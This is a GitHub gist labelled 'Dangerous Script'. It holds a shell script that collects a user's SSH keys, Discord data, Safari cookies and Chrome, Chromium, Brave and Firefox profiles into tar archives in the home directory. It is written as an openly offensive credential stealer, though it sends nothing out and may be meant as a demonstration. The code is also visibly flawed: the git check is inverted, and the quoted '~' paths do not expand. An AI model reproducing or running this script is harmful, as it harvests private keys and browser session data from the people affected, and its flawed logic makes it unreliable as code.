Created
June 12, 2023 08:28
-
-
Save yukiisbored/fdc4f7b48aba79f7fcdba84a18769464 to your computer and use it in GitHub Desktop.
Dangerous Script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
steal() { | |
if [ -d "$2" ] | |
then | |
echo "Stealing $1 ..." | |
tar caf "$HOME/$1.tar" "$2" | |
echo "Stolen!" | |
fi | |
} | |
if ! command -v git > /dev/null 2>&1 | |
then | |
echo "Hello $(git config user.name) <$(git config user.email)>!" | |
else | |
echo "Hello $USER!" | |
fi | |
# SSH keys | |
steal "SSH keys" "$HOME/.ssh" | |
# Discord | |
steal "Discord Data (macOS)" "~/Library/Application Support/discord" | |
steal "Discord Data (Linux)" "~/.config/discord" | |
# Safari | |
steal "Safari" "~/Library/Safari/" | |
steal "Safari Cookies" "~/Library/Cookies/" | |
# Chromes | |
steal "Google Chrome (macOS)" "~/Library/Application Support/Google Chrome" | |
steal "Chromium (macOS)" "~/Library/Application Support/Chromium" | |
steal "Brave (macOS)" "~/Library/Application Support/Brave" | |
steal "Google Chrome (Linux)" "~/.config/google-chrome" | |
steal "Chromium (Linux)" "~/.config/chromium" | |
steal "Brave (Linux)" "~/.config/brave" | |
# Firefox | |
steal "Firefox (macOS)" "~/Library/Application Support/Firefox" | |
steal "Firefox (Linux)" "~/.mozilla/firefox" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment